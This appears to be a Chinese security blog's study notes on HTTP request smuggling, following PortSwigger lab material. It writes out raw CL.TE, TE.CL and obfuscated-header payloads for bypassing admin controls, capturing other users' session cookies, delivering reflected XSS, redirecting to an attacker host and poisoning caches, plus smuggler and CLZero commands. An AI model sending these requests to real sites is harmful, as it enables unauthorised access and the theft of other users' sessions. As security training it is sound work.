关注公众号夜风Sec,持续分享工具资料:)
HTTP
请求走私
什么是HTTP
请求走私
HTTP
请求走私是一种干扰网站处理从一个或多个用户收到的 HTTP
请求序列的方式的技术。请求走私漏洞通常性质严重,允许攻击者绕过安全控制、未经授权访问敏感数据并直接危害其他应用程序用户。
请求走私主要与 HTTP/1
请求有关。但是,支持 HTTP/2
的网站也可能存在漏洞,具体取决于其后端架构。
HTTP
请求走私攻击会发生什么?
如今的 Web
应用程序经常在用户和最终应用程序逻辑之间使用 HTTP
服务器链。用户将请求发送到前端服务器(有时称为负载平衡器或反向代理),然后该服务器将请求转发到一个或多个后端服务器。这种类型的架构在现代基于云的应用程序中越来越常见,在某些情况下是不可避免的。
当前端服务器将 HTTP
请求转发到后端服务器时,它通常会通过同一个后端网络连接发送多个请求,因为这样效率更高、性能更高。协议非常简单;HTTP
请求一个接一个地发送,接收服务器必须确定一个请求在哪里结束,下一个请求在哪里开始:
在这种情况下,前端和后端系统就请求之间的界限达成一致至关重要。否则,攻击者可能会发送模糊的请求,而前端和后端系统会对此做出不同的解释:
在这里,攻击者让后端服务器将前端请求的一部分解释为下一个请求的开始。它实际上是添加到下一个请求的前面,因此可以干扰应用程序处理该请求的方式。这是一种请求走私攻击,可能会造成毁灭性的后果。
HTTP
请求走私漏洞是如何产生的?
大多数漏洞的出现是由于HTTP/1
的规范,提供了两种不同的方式指定请求的结束位置:
-
Content-Length
--- Header -
Transfer-Encoding
--- Header
-
对于 Content-Length
很简单 -> 指定了消息主体的长度(Body
、字节为单位)
POST /search HTTP/1.1Host: normal-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 11q=smuggling
-
而
Transfer-Encoding
指定消息正文使用的分块编码方式 -> 消息正文包含一个或多个数据块,每个块以字节为单位(十六进制表示)表示大小、后跟换行符、后跟块内容、消息以大小为零的块结束
POST /search HTTP/1.1Host: normal-website.comContent-Type: application/x-www-form-urlencodedTransfer-Encoding: chunkedbq=smuggling0
正是由于HTTP/1
规范提供了两种不同的方式来指定HTTP
消息的长度,因此一条消息可能会同时使用这两种方法 -> 相互冲突
HTTP/1
规范试图通过声明:如果同时存在这两种方式,则应忽略标头来防止出现问题 -> 当只有一台服务器时,这可能足以避免问题
但当两台甚至多台服务器时 -> 可能会出现问题 -> 原因如下:
-
有些服务器不支持 Transfer-Encoding
请求中的标头。 -
如果标头以某种方式被混淆,则一些支持该 Transfer-Encoding
标头的服务器可能不会处理它。
如果前端和后端服务器对于(可能混淆的)Transfer-Encoding
标头的行为不同,那么它们可能会对连续请求之间的边界产生分歧,从而导致请求走私漏洞。
笔记
使用
HTTP/2
的网站本质上不会受到请求走私攻击的影响,由于HTTP/2
规范引入了一种用于指定请求长度的单一、强大的机制,因此攻击者无法引入所需的歧义。然而,许多网站都有支持
HTTP/2
的前端服务器,但将其部署在仅支持HTTP/1
的后端基础设施前面,这意味着前端必须有效地将收到的请求转换为HTTP/1
。此过程称为 HTTP 降级 -> 高级请求走私
如何执行 HTTP
请求走私攻击
经典的请求走私攻击涉及将Content-Length
标头和Transfer-Encoding
标头放入单个 HTTP/1 请求中,并对其进行操纵,以便前端和后端服务器以不同的方式处理请求。具体执行方式取决于两个服务器的行为:
-
CL.TE
:前端服务器用Content-Length
头,后端服务器用Transfer-Encoding
头。 -
TE.CL
:前端服务器用Transfer-Encoding
头,后端服务器用Content-Length
头。 -
TE.TE
:前端和后端服务器都支持该Transfer-Encoding
标头,但可以通过某种方式混淆标头来诱导其中一个服务器不处理它。
笔记
这些技术只能使用
HTTP/1
请求。浏览器和其他客户端(包括Burp
)默认使用HTTP/2
与在TLS
握手期间明确声明支持的服务器进行通信。因此,在测试支持
HTTP/2
的站点时,您需要在Burp Repeater
中手动切换协议。您可以从Inspector面板的Request 属性部分执行此操作。
CL.TE
漏洞
这里前端服务器使用Content-Length
,后端服务器使用Transfer-Encoding
,我们可以进行一个简单的HTTP
请求走私攻击,如下:
POST / HTTP/1.1Host: vulnerable-website.comContent-Length: 13Transfer-Encoding: chunked0SMUGGLED
前端服务器处理Content-Length
标头并确定请求主体长度为 13
个字节,直到SMUGGLED
结束。此请求被转发到后端服务器。
后端服务器处理Transfer-Encoding
标头,因此将消息正文视为使用分块编码。它处理第一个块,该块的长度为零,因此被视为终止请求。后面的SMUGGLED
字节未经处理,后端服务器会将其视为序列中下一个请求的开始。
实验室:HTTP
请求走私,基本 CL.TE
漏洞
首先是Burp默认使用 HTTP/2规范 -> 所以需要在 Repeater 的右边 Inspector 改回 HTTP/1规范然后构造Payload,发包两次第一次发包:客户端以CL为规范 -> 正常解析 -> 到服务端时,以TE为规范 -> 解析到0 -> 那么G就被落下了第二次发包:G会加在第二次发包的最前面 -> 所以变成了 GPOST
使用Burp
扩展HTTP Request Smuggler
安装:直接在Extensions -> BAPP
搜索名字即可
先将协议改成 HTTP/1然后将GET方式改为POST方式然后右键 -> Extensions -> HTTP Request Smuggler -> Convert to chunked然后选择攻击方式 -> 这里就是 CL.TE脚本根据情况选择 -> Attack查看结果 -> 判断是否存在漏洞然后根据题目要求进行修改Payload即可
技巧
无法准确判断长度时,可以将n
( Repeater
中的n
)打开,会清晰一点
TE.CL
漏洞
这里前端服务器使用Transfer-Encoding
,后端服务器使用Content-Length
,我们可以进行一个简单的HTTP
请求走私攻击,如下:
POST / HTTP/1.1Host: vulnerable-website.comContent-Length: 3Transfer-Encoding: chunked8SMUGGLED0
笔记
要使用
Burp Repeater
发送此请求,您首先需要转到Repeater
菜单并确保未选中"Update Content-Length"选项。您需要
rnrn
在最后的后面包含尾随序列0
。
实验室:HTTP
请求走私,基本 TE.CL
漏洞
这里得构造一个请求 -> 因为我们要完成 GPOST 的发包而前面使用 TE 验证 -> 决定了我们构造的Payload最后为0 -> 无法实现 GPOST
对于TE解析0rnrn 认为是发包结束 -> 即 0空行空行所以0后面要空上两行
TE.TE
行为:混淆 TE
标头
这里,前端和后端服务器都支持Transfer-Encoding
标头,但是可以通过某种方式混淆标头来诱导其中一个服务器不处理它。
混淆标头Transfer-Encoding
的方法可能无穷无尽。例如:
Transfer-Encoding: xchunkedTransfer-Encoding : chunkedTransfer-Encoding: chunkedTransfer-Encoding: xTransfer-Encoding:[tab]chunked[space]Transfer-Encoding: chunkedX: X[n]Transfer-Encoding: chunkedTransfer-Encoding: chunked
上述每一种技术都与 HTTP
规范存在细微的差异。在实际应用中,实现协议规范的代码很少会绝对精确地遵循该规范,而且不同的实现通常会容忍与规范不同的差异。要发现 TE.TE
漏洞,必须找到Transfer-Encoding
标头的某种差异,以便只有前端或后端服务器之一处理它,而另一个服务器会忽略它。
根据是否诱导前端或后端服务器不处理混淆的Transfer-Encoding
标头,攻击的其余部分将采用与已经描述的 CL.TE 或 TE.CL
漏洞相同的形式。
实验室:HTTP
请求走私,混淆 TE
标头
TE-TE 转换成 TE-CL在这里是加了一个 Transfer-Encoding: cow
如何识别HTTP
请求走私漏洞
计时技术
检测走私漏洞的最有效的方法是发送请求,如果存在漏洞,则会导致应用程序响应时间延迟。可以通过BurpScanner使用此技术来自动检测
使用计时技术查找 CL.TE
漏洞
如果应用程序容易受到 CL.TE
请求走私变种的攻击,那么发送如下请求通常会导致时间延迟:
POST / HTTP/1.1Host: vulnerable-website.comTransfer-Encoding: chunkedContent-Length: 41AX
前端使用CL
检测,会忽略X
,后端使用TE
标头,处理第一个块1 A
,然后会等待下一个块,所以会导致时间延迟。
使用计时技术查找 TE.CL
漏洞
如果应用程序容易受到 TE.CL
变种请求走私的攻击,那么发送如下请求通常会导致时间延迟:
POST / HTTP/1.1Host: vulnerable-website.comTransfer-Encoding: chunkedContent-Length: 60X
由于前端使用TE
标头,因此它将忽略X
。后端服务器使用Content-Length
标头,期望消息正文中有更多内容,并等待剩余内容到达。这将导致可观察到的时间延迟。
笔记
如果应用程序容易受到
CL.TE
漏洞变体的影响,则基于时间的TE.CL
漏洞测试可能会对其他应用程序用户造成干扰。因此,为了保持隐秘性并尽量减少干扰,您应该首先使用CL.TE
测试,并且只有当第一次测试失败时才继续进行TE.CL
测试。
使用差异响应确认 HTTP
请求走私漏洞
当检测到可能的请求走私漏洞时,您可以通过利用它来触发应用程序响应内容的差异来获取该漏洞的进一步证据。这涉及快速连续地向应用程序发送两个请求:
-
旨在干扰下一个请求处理的"攻击"请求。 -
一个"正常"请求。
如果对正常请求的响应包含预期的干扰,则确认存在漏洞。
正常请求如下:
POST /search HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 11q=smuggling
该请求通常会收到状态代码为 200
的 HTTP
响应,其中包含一些搜索结果
干扰此请求所需的攻击请求取决于存在的请求走私变体:CL.TE
与 TE.CL
使用差异响应确认 CL.TE
漏洞
POST /search HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 49Transfer-Encoding: chunkedeq=smuggling&x=0GET /404 HTTP/1.1Foo: x
如果攻击成功,那么后端服务器会将此请求的最后两行视为属于收到的下一个请求。这将导致后续的"正常"请求如下所示:
GET /404 HTTP/1.1Foo: xPOST /search HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 11q=smuggling
由于此请求现在包含无效的URL,服务器将以状态代码404进行响应,表明攻击请求确实对其进行了干扰。
实验室:HTTP
请求走私,通过差异响应确认 CL.TE
漏洞
前面配置不再重复(HTTP1规范 ... )根据题目要求 -> 确认CL.TE -> 导致 404 状态码前端CL:如何确定Content-Length长度 -> 选中请求体 -> Bp右边的部分会给出长度( 如下图所示 )发起"攻击"请求 -> 正常回显再发送该请求 -> 404状态码
使用差异响应确认 TE.CL
漏洞
要确认 TE.CL
漏洞,您可以发送如下攻击请求:
注意:
0后面要有两行空行
取消选中Update Content-Length
POST /search HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 4Transfer-Encoding: chunked7cGET /404 HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 144x=0
如果攻击成功,那么从那GET /404
以后的所有内容都会被后端服务器视为属于收到的下一个请求。这将导致后续的"正常"请求如下所示:
GET /404 HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 146x=0POST /search HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 11q=smuggling
由于此请求现在包含无效的URL,服务器将以状态代码404进行响应,表明攻击请求确实对其进行了干扰。
实验室:HTTP
请求走私,通过差异响应确认 TE.CL
漏洞
前端TE检测 -> 最后要以0rnrn结束 -> 5d是构造新数据包的长度( 0和5d之间的长度 )后端CL检测 -> 接收5d -> 后面的作为新包 -> 404状态码
笔记
尝试通过干扰其他请求来确认请求走私漏洞时,应牢记一些重要注意事项:
"攻击"请求和"正常"请求应该使用不同的网络连接发送到服务器。通过同一连接发送两个请求并不能证明漏洞存在。 "攻击"请求和"正常"请求应尽可能使用相同的 URL 和参数名称。这是因为许多现代应用程序根据 URL 和参数将前端请求路由到不同的后端服务器。使用相同的 URL 和参数会增加请求由同一后端服务器处理的机会,这对于攻击的实施至关重要。 在测试"正常"请求以检测"攻击"请求是否造成干扰时,您会与应用程序同时接收的任何其他请求(包括来自其他用户的请求)发生竞争。您应该在"攻击"请求之后立即发送"正常"请求。如果应用程序很忙,您可能需要进行多次尝试来确认漏洞。 在某些应用程序中,前端服务器充当负载平衡器,并根据某种负载平衡算法将请求转发到不同的后端系统。如果您的"攻击"和"正常"请求被转发到不同的后端系统,则攻击将失败。这就是为什么您可能需要多次尝试才能确认漏洞的另一个原因。 如果您的攻击成功干扰了后续请求,但这不是您为检测干扰而发送的"正常"请求,则意味着另一个应用程序用户受到了您的攻击的影响。如果您继续执行测试,这可能会对其他用户造成破坏性影响,因此您应该谨慎行事。
如何利用HTTP
请求走私漏洞
具体取决于应用程序的预期功能和其他行为
使用 HTTP
请求走私绕过前端安全控制
在某些应用中,前端 Web
服务器用于实现一些安全控制,决定是否允许处理个别请求。允许的请求将转发到后端服务器,在后端服务器中,这些请求被视为已通过前端控制。
例如,假设某个应用程序使用前端服务器实施访问控制限制,仅当用户有权访问所请求的 URL
时才转发请求。然后后端服务器将接受每个请求而无需进一步检查。在这种情况下,HTTP
请求走私漏洞可用于通过将请求走私到受限制的 URL
来绕过访问控制。
假设当前用户被允许访问/home
但不允许访问/admin
。他们可以使用以下请求走私攻击来绕过此限制:
POST /home HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 62Transfer-Encoding: chunked0GET /admin HTTP/1.1Host: vulnerable-website.comFoo: xGET /home HTTP/1.1Host: vulnerable-website.com
前端服务器在此处看到两个请求,均为/home
,因此请求被转发到后端服务器。但是,后端服务器看到一个/home
请求和一个/admin
请求。它(一如既往地)假设请求已通过前端控件,因此授予对受限URL
的访问权限。
实验室:利用 HTTP
请求走私绕过前端安全控制、CL.TE
漏洞
前端CL检测,后端TE检测Poc 构造 /admin 请求发送两次请求 发现/admin请求 只允许本地用户请求 Host: localhost再发送两次请求 400状态码,说是两个Host起了冲突 通过请求体 x= 接收再发送两次请求 查看回显,已经得到了 /admin 请求的正常回显了 查看信息 -> 拼接一下 删除carlos即可
实验室:利用 HTTP
请求走私绕过前端安全控制、TE.CL
漏洞
前端TE,后端CL --> 最后为0rnrn -> 自行构造数据包取消 Update Content-Length
揭示前端请求重写
在许多应用程序中,前端服务器在将请求转发到后端服务器之前会对其进行一些重写,通常是通过添加一些额外的请求标头:
-
终止 TLS
连接并添加一些描述所使用的协议和密码的标头; -
添加 X-Forwarded-For
包含用户IP
地址的标头; -
根据会话令牌确定用户的 ID
,并添加标识用户的标头;或者 -
添加一些其他攻击感兴趣的敏感信息。
在某些情况下,如果您的走私请求缺少一些前端服务器正常添加的标头,则后端服务器可能无法以正常方式处理请求,导致走私请求无法达到预期的效果。
通常有一种简单的方法可以准确揭示前端服务器如何重写请求。为此,您需要执行以下步骤:
-
查找将请求参数的值反映到应用程序的响应中的 POST
请求。 -
对参数进行打乱,以便反射的参数最后出现在消息正文中。 -
将此请求走私到后端服务器,然后直接发送您想要显示其重写形式的正常请求。
假设一个应用程序有一个登录函数,它反映了参数的值email
:
POST /login HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 28[email protected]
这会导致响应包含以下内容:
<inputid="email"value="[email protected]"type="text">
这里可以使用以下请求走私攻击来揭示前端服务器执行的重写:
POST / HTTP/1.1Host: vulnerable-website.comContent-Length: 130Transfer-Encoding: chunked0POST /login HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 100email=POST /login HTTP/1.1Host: vulnerable-website.com...
前端服务器会重写请求,以包含附加标头,然后后端服务器将处理走私的请求,并将重写的第二个请求视为email
参数的值。然后它会在第二个请求的响应中反映出这个值:
<inputid="email"value="POST /login HTTP/1.1Host: vulnerable-website.comX-Forwarded-For: 1.3.3.7X-Forwarded-Proto: httpsX-TLS-Bits: 128X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256X-TLS-Version: TLSv1.2x-nr-external-service: external...
笔记
由于最终的请求是重写的,所以你不知道它最终会有多长。
Content-Length
被走私的请求中的标头中的值将决定后端服务器认为该请求有多长。如果你将此值设置得太短,你将只收到重写请求的一部分;如果你将其设置得太长,后端服务器将超时等待请求完成。当然,解决方案是猜测一个比提交的请求稍大的初始值,然后逐渐增加该值以检索更多信息,直到你获得感兴趣的所有内容。
一旦您揭示了前端服务器如何重写请求,您就可以对走私的请求应用必要的重写,以确保后端服务器以预期的方式处理它们。
实验室:利用 HTTP
请求走私来揭示前端请求重写
首页有个搜索功能,search参数 -> 随便输入一下然后发包 -> 响应的数据包里面包含输入的值 -> 借此来接收数据包 -> 暴露header -> 然后就跟之前的步骤一样 -> 删除carlos
绕过客户端身份验证
作为 TLS
握手的一部分,服务器通过提供证书向客户端(通常是浏览器)验证自己的身份。此证书包含其"通用名称"(CN
),该名称应与其注册的主机名相匹配。然后,客户端可以使用它来验证他们正在与属于预期域的合法服务器通信。
有些网站更进一步,实施了一种相互 TLS
身份验证,客户端还必须向服务器出示证书。在这种情况下,客户端的 CN
通常是用户名或类似的东西,例如,它可以在后端应用程序逻辑中用作访问控制机制的一部分。
对客户端进行身份验证的组件通常会通过一个或多个非标准 HTTP 标头将证书中的相关详细信息传递给应用程序或后端服务器。例如,前端服务器有时会将包含客户端 CN
的标头附加到任何传入请求中:
GET /admin HTTP/1.1Host: normal-website.comX-SSL-CLIENT-CN: carlos
由于这些标头应该对用户完全隐藏,因此它们通常被后端服务器默认信任。假设您能够发送正确的标头和值组合,这可能会让您绕过访问控制。
实际上,这种行为通常不可利用,因为如果这些标头已经存在,前端服务器往往会覆盖它们。但是,走私请求对前端完全隐藏,因此它们包含的任何标头都将原封不动地发送到后端。
POST /example HTTP/1.1Host: vulnerable-website.comContent-Type: x-www-form-urlencodedContent-Length: 64Transfer-Encoding: chunked0GET /admin HTTP/1.1X-SSL-CLIENT-CN: administratorFoo: x
获取其他用户的请求
如果应用程序包含任何允许您存储和稍后检索文本数据的功能,您可能会利用此功能捕获其他用户请求的内容。这些内容可能包括会话令牌或用户提交的其他敏感数据。适合用作此攻击载体的功能包括评论、电子邮件、个人资料描述、屏幕名称等。
要实施攻击,你需要偷偷将数据提交给存储函数的请求,并将包含要存储的数据的参数放在请求的最后。例如,假设应用程序使用以下请求提交博客文章评论,该评论将存储并显示在博客上:
POST /post/comment HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 154Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAOcsrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net
现在考虑一下如果你走私一个具有过长Content-Length
标头且comment
位于请求末尾的参数的等效请求,会发生什么情况,如下所示:
GET / HTTP/1.1Host: vulnerable-website.comTransfer-Encoding: chunkedContent-Length: 3300POST /post/comment HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 400Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAOcsrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=
走私请求的Content-Length
标头表明主体长度为 400
字节,但我们只发送了 144
字节。在这种情况下,后端服务器将等待剩余的 256
字节,然后再发出响应,否则如果响应到达得不够快,则会发出超时。因此,当通过同一连接向后端服务器发送另一个请求时,前 256
个字节会有效地附加到走私请求中,如下所示:
POST /post/comment HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 400Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAOcsrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1Host: vulnerable-website.comCookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj...
由于受害者请求的开头包含在comment
参数中,因此这将作为评论发布在博客上,您只需访问相关帖子即可阅读它。
要捕获更多受害者的请求,您只需相应地增加走私请求Content-Length
标头的值,但请注意,这将涉及一定程度的反复试验。如果遇到超时,这可能意味着Content-Length
您指定的值高于受害者请求的实际长度。在这种情况下,只需减少该值,直到攻击再次起作用。
笔记
这种技术的一个限制是,它通常只能捕获到适用于走私请求的参数分隔符之前的数据。对于 URL 编码的表单提交,这将是
&
字符,这意味着从受害者用户的请求中存储的内容将以第一个结束&
,这甚至可能出现在查询字符串中
实验室:利用 HTTP
请求走私来捕获其他用户的请求
对首页面抓包,获取Cookie,走私请求针对评论的URLCookie和CSRF要对应多发几次,保证302状态码,可以回页面看一下评论是否多出了数据包然后抓一个/login的请求 -> 改成 /my-account -> 将session改成 -> 走私请求里面comment 的session值
使用HTTP
请求走私来利用反射型XSS
如果应用程序容易受到 HTTP
请求走私攻击,并且还包含反射型 XSS
,则可以使用请求走私攻击来攻击该应用程序的其他用户。这种方法在两个方面优于正常的反射型 XSS
利用:
-
它不需要与受害用户进行交互。你不需要向他们提供 URL
并等待他们访问。你只需走私一个包含XSS
负载的请求,后端服务器处理的下一个用户的请求就会被命中。 -
它可用于利用请求中在正常的反射式 XSS
攻击中无法轻易控制的部分中的XSS
行为,例如HTTP
请求标头。
例如,假设某个应用程序的User-Agent
标头中存在反射型 XSS
漏洞。你可以在请求走私攻击中利用此漏洞,如下所示:
POST / HTTP/1.1Host: vulnerable-website.comContent-Length: 63Transfer-Encoding: chunked0GET / HTTP/1.1User-Agent: <script>alert(1)</script>Foo: X
下一个用户的请求将被附加到走私请求中,并且他们将在响应中收到反射的 XSS
负载。
实验室:利用 HTTP
请求走私来传播反射型 XSS
发送两次即可下一个用户的消息都会被x=接收,然而HTTP头变成了我们输入的这些,其中就包括XSS
使用 HTTP 请求走私将现场重定向转变为开放重定向
许多应用程序会执行从一个 URL
到另一个 URL
的现场重定向,并将请求Host
标头中的主机名放入重定向 URL
中。Apache
和 IIS Web
服务器的默认行为就是一个例子,其中对不带尾部斜杠的文件夹的请求会重定向到包含尾部斜杠的同一文件夹:
GET /home HTTP/1.1Host: normal-website.comHTTP/1.1 301 Moved PermanentlyLocation: https://normal-website.com/home/
这种行为通常被认为是无害的,但它可以在请求走私攻击中被利用,将其他用户重定向到外部域。例如:
POST / HTTP/1.1Host: vulnerable-website.comContent-Length: 54Transfer-Encoding: chunked0GET /home HTTP/1.1Host: attacker-website.comFoo: X
走私的请求会触发重定向到攻击者的网站,从而影响后端服务器处理下一个用户的请求。例如:
GET /home HTTP/1.1Host: attacker-website.comFoo: XGET /scripts/include.js HTTP/1.1Host: vulnerable-website.comHTTP/1.1 301 Moved PermanentlyLocation: https://attacker-website.com/home/
这里,用户的请求是获取网站页面导入的 JavaScript
文件。攻击者可以通过在响应中返回自己的 JavaScript
来完全攻陷受害用户。
将根目录相对重定向转变为开放重定向
在某些情况下,您可能会遇到使用路径为标头构建根相对 URL
的服务器级重定向Location
,例如:
GET /example HTTP/1.1Host: normal-website.comHTTP/1.1 301 Moved PermanentlyLocation: /example/
如果服务器允许您在路径中使用协议相对 URL
,则这仍可用于开放重定向:
GET //attacker-website.com/example HTTP/1.1Host: vulnerable-website.comHTTP/1.1 301 Moved PermanentlyLocation: //attacker-website.com/example/
使用 HTTP
请求走私来执行 Web
缓存投毒
在上述攻击的变体中,可能利用 HTTP
请求走私来执行Web 缓存投毒攻击。如果前端基础设施的任何部分执行内容缓存(通常出于性能原因),则可能使用站外重定向响应来投毒缓存。这将使攻击持续存在,影响随后请求受影响 URL
的任何用户。
在此变体中,攻击者将以下所有内容发送到前端服务器:
POST / HTTP/1.1Host: vulnerable-website.comContent-Length: 59Transfer-Encoding: chunked0GET /home HTTP/1.1Host: attacker-website.comFoo: XGET /static/include.js HTTP/1.1Host: vulnerable-website.com
走私的请求到达后端服务器,后端服务器像以前一样使用站外重定向进行响应。前端服务器根据它认为是第二个请求中的 URL
缓存此响应,该 URL
为/static/include.js
:
GET /static/include.js HTTP/1.1Host: vulnerable-website.comHTTP/1.1 301 Moved PermanentlyLocation: https://attacker-website.com/home/
从此时起,当其他用户请求此 URL
时,他们会收到到攻击者网站的重定向。
实验室:利用 HTTP
请求走私执行 Web
缓存投毒
使用 HTTP
请求走私进行 Web
缓存欺骗
在另一种攻击变体中,您可以利用 HTTP
请求走私来执行Web 缓存欺骗。 这与 Web
缓存中毒攻击的工作方式类似,但目的不同。
网络缓存毒害和网络缓存欺骗有什么区别?
-
在Web缓存中毒中,攻击者导致应用程序在缓存中存储一些恶意内容,并且这些内容从缓存中提供给其他应用程序用户。 -
在Web缓存欺骗中,攻击者使应用程序将属于另一个用户的一些敏感内容存储在缓存中,然后攻击者从缓存中检索这些内容。
在此变体中,攻击者会走私一个返回某些敏感用户特定内容的请求。例如:
POST / HTTP/1.1Host: vulnerable-website.comContent-Length: 43Transfer-Encoding: chunked0GET /private/messages HTTP/1.1Foo: X
下一个转发到后端服务器的其他用户的请求将会被附加到走私请求中,包括会话 cookie
和其他 header
。例如:
GET /private/messages HTTP/1.1Foo: XGET /static/some-image.png HTTP/1.1Host: vulnerable-website.comCookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z...
后端服务器以正常方式响应此请求。请求中的 URL
用于用户的私人消息,并在受害用户会话的上下文中处理该请求。前端服务器根据它认为是第二个请求中的 URL
缓存此响应,该 URL
为/static/some-image.png
:
GET /static/some-image.png HTTP/1.1Host: vulnerable-website.comHTTP/1.1 200 Ok...<h1>Your private messages</h1>...
然后攻击者访问静态 URL
并接收从缓存返回的敏感内容。
这里需要注意的一点是,攻击者不知道敏感内容将被缓存到哪个 URL
,因为这将是受害用户在走私请求生效时恰好请求的任何 URL
。攻击者可能需要获取大量静态 URL
才能发现捕获的内容。
工具
-
Bp
插件HTTP Request Smuggler
-
smuggler
Github项目地址
python3 smuggler.py -u <URL>
-
CLZero
Github项目地址
python3 clzero.py -u https://www.target.com/ -c configs/default.py -skipreadpython3 clzero.py -u https://www.target.com/ -c configs/default.py -lb
原文始发于微信公众号(夜风Sec):Burp靶场-HTTP走私请求
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论